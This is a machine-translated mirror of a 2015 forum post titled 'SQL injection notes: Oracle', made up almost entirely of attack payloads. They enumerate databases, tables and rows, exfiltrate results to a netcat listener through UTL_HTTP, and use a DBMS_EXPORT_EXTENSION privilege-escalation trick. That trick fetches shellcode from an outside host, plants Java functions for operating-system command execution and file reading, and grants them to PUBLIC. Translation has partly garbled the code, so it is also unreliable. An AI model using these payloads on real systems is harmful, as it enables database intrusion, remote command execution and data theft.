この記事は機械翻訳のミラー記事です。元の記事にジャンプするにはこちらをクリックしてください。

眺める: 11931|答える: 0

[安全な通信] SQLインジェクションノートオラクル

[リンクをコピー]
掲載地 2015/01/24 12:58:17 | | |
この投稿は2015年1月24日13:01にテストによって最終編集されました。

コメント:--
複数文の実行はサポートされておらず、フェデレーテッドクエリもサポートされています
データベース名、テーブル名、カラム名はすべて大文字で表記されます。


長さ(体)
ascii(substr(field, N, 1))


そして(双対からcount(*)を選択)>0 -- それがオラクルかどうかを判定する

n--

1=2 ユニオン選択null、dualからのnull,.....,null―nullをNまたは「N」に置き換えます。

1=2 ユニオン選択null、(SQL文),.....,dualからnull-- 'N'で(SQL文)に変更

および(all_objects object_name='UTL_HTTP')>0 -- UTL_HTTPがサポートされているかどうか(エクスポートIPが既知か)を判断する

およびUTL_HTTP.request('http://LocalIP:port'||(SQL文))=1-- ローカルリスニングにリモート送信 nc -vv -l -p 1234


SQL文
rownum=1のsys.v_$versionからバナーを選択してoracleバージョンをクエリしてください
rownum=1 のv$logfileからメンバーを選択します。ログファイルパスを問い合わせ(WindowsまたはLinux)
デュアルからutl_inaddr.get_host_addressを選択してデータベースのリスニングIPを照会します
v$instanceからinstance_nameを選択してSIDをクエリします
v$databaseから名前を選択してください。現在のデータベース名を検索します。
デュアルクエリデータベースユーザーからsys_context('userenv', 'current_user')を選択します
rownum=1 session_rolesの から * を選択して現在のユーザー権限を照会します
Rownum=1 のsession_rolesから*を選択してください [およびrole<>'First permission name']]



user_tables からtable_nameを選択し、rownum=1 現在のデータベースの最初のテーブルセグメント
選択table_name||','||tablespace_name user_tables から rownum=1 最初のテーブルセグメント、データベース(検証用にv$databaseではない場合があります)
user_tables から table_name を選択し、rownum=1 table_name<>「最初のテーブルセグメント」現在のデータベースの2番目のテーブルセグメント

rownum=1、table_name=「Table Segment」のuser_tab_columnsからcolumn_nameを選択します。テーブル名に対応する最初のフィールドです。
rownum=1、table_name=「テーブルセグメント」およびcolumn_name<>「最初のフィールド」に対応する2番目のフィールドをuser_tab_columnsからcolumn_name選択します。テーブル名に対応する2番目のフィールドです。

Selectフィールドは、rownum=1が最初の行の内容に違反するテーブルセグメントから選べます。
Field from table segment で rownum=1 を選び、field <> 'first line content' を表示すると、2行目の内容が公開されます


クロスライブラリ
Rownum=1 が最初のデータベース名をクエリする場合、all_tables から所有者を選択します
Rownum=1 の Owner を all_tables<> Owner から選択して、2番目のデータベース名をクエリします

rownum=1、owner='database name」のall_tablesからtable_nameを選択してください。対応するデータベースの最初のテーブル名を検索します。
all_tablesからrownum=1、owner='Database Name'、table_name<>'First table Name')からtable_nameを選択して対応するデータベースの2番目のテーブル名を照会します

all_tab_columns から rownum=1、owner='データベース名」、table_name='table segment' からcolumn_nameを選択します。テーブル名に対応する最初のフィールド
all_tab_columnsからcolumn_nameを選択し、rownum=1、owner='データベース名'、table_name='table segment'、column_name<>'first field」。テーブル名に対応する2番目のフィールド

データベースからフィールドを選択します。 rownum=1が最初の行の内容を破るテーブルセグメント
データベースからフィールドを選択します。 rownum=1 とフィールド<>「First Line Content」が2行目の内容に違反するテーブルセグメント





SYS。 DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); マルチステートメント終了; --','SYS',0,'1',0)--

' がエスケープされた場合、chr() が使われます。

SYS。 DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79), chr(66)||chr(65)||chr(82)、 chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||マルチステートメント ||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--

複数の文が長すぎる場合は、文をウェブサイトのファイルに書き、utl_http.requestで取得できます。

SYS。 DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





JAVAパッケージSecTestを作成する
runCMDはシステムコマンドの実行に使用されます
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 「今すぐ実行せよ」と宣言し、 AUTONOMOUS_TRANSACTION 「SecTest」という名前のJavaソースをインポート java.io.*として作成または置き換え・コンパイルします。 public class SecTestはObject{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream())); 文字列 stemp,str=""; while((stemp=myReader.readLine()!=null) str+=stemp+"\n"; myReader.close(); 筋力を戻す; }catch(例外 e){return e.toString(); }}}''''; 終わり; ''; 終わり; --','SYS',0,'1',0)

readFileはファイルを読み取るために使われます
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 「今すぐ実行せよ」と宣言し、 AUTONOMOUS_TRANSACTION 「SecTest」という名前のJavaソースをインポート java.io.*として作成または置き換え・コンパイルします。 public class SecTestはObject{public static string readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); 文字列 stemp,str=""; while((stemp=myReader.readLine()!=null) str+=stemp+"\n"; myReader.close(); 筋力を戻す; }catch(例外 e){return e.toString(); }}}''''; 終わり; ''; 終わり; --','SYS',0,'1',0)



Java権限を付与する
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; 開始 実行 立即 「'''' 開始 dbms_java.GRANT_PERMISSION(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''実行''''''''); 終わり; ''''; 終わり; ''; 終わり; --','SYS',0,'1',0)



関数を作成する
SecRunCMD関数
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; BEGIN EXECUTE IMMEDIATELY('''' function の作成または置き換え SecRunCMD(p_cmd in varchar2) varchar2 を言語として返します java name''''''''SecTest.runCMD(java.lang.String) String を返します'''''''' ; ''''; 終わり; ''; 終わり; --','SYS',0,'1',0)

SecReadFile関数
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; BEGIN EXECUTE PRESENT '''' 関数を作成または置き換え SecReadFile(varchar2 のファイル名)は varchar2 を言語として返します java name''''''''SecTest.readFile(java.lang.String)は String' を返します '''''''; ''''; 終わり; ''; 終わり; --','SYS',0,'1',0)



公的職務の実行許可を付与する
SecRunCMDは権限を付与されます
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; 開始 実行開始 「SecRunCMD上ですべてのGrant to public(SecRunCMD)に公衆に付与」 終わり; ''; 終わり; --','SYS',0,'1',0)

SecReadFile
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; 開始 実行 即時 「SecReadFile上のすべてのものをパブリックに付与する」 終わり; ''; 終わり; --','SYS',0,'1',0)



関数が成功裏に作成されたかどうかを検出します
そして(all_objects object_name='SECRUNCMD')>0--
そして(all_objects からcount(*)を選択し、object_name='SECREADFILE')>0--



コマンドを実行してください
および「1」<>(sys. dualからのSecRunCMD('Execute command')--
および「1」<>(sys. デュアルからのSecReadFile(「ファイルの物理アドレス」)--
又は
1=2 ユニオンセレクト null,...,sys。 SecRunCMD('execute command'),...,null from dual--
1=2 ユニオンセレクト null,...,sys。 SecReadFile('file physical address'),...,dual--
又は
および「1'<>(選択 UTL_HTTP.request('http://LocalIP:port'||REPLACE(REPLACE(sys. SecRunCMD('コマンド実行'), ' '), '\n', ' ')) dual)--
および「1'<>(選択 UTL_HTTP.request('http://LocalIP:port'||REPLACE(REPLACE(sys. SecReadFile('ファイル物理アドレス')、' ', ' '\n', ' '))--



削除関数
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; BEGIN BEGIN 実行 「」'''drop 関数 SecRunCMD'''; 終わり; ''; 終わり; --','SYS',0,'1',0)
そして『1』<>『A』||(SYS. DBMS_EXPORT_EXTENSION。 GET_DOMAIN_INDEX_TABLES(「フー」「バー」「DBMS_OUTPUT」 PUT(:P 1); 直ちに実行してください。「PRAGMA AUTONOMOUS_TRANSACTIONを宣言しろ; BEGIN 実行 即時 「」'''drop function SecReadFile''''; 終わり; ''; 終わり; --','SYS',0,'1',0)




先の:モデレーションに応募できますか?どのような条件が必要ですか?
次に:ORALCEはホスト名とIPアドレスを取得します
免責事項:
Code Farmer Networkが発行するすべてのソフトウェア、プログラミング資料、記事は学習および研究目的のみを目的としています。 上記の内容は商業的または違法な目的で使用されてはならず、そうでなければ利用者はすべての結果を負うことになります。 このサイトの情報はインターネットからのものであり、著作権紛争はこのサイトとは関係ありません。 ダウンロード後24時間以内に上記の内容を完全にパソコンから削除してください。 もしこのプログラムを気に入ったら、正規のソフトウェアを支持し、登録を購入し、より良い本物のサービスを受けてください。 もし侵害があれば、メールでご連絡ください。

Mail To:help@itsvse.com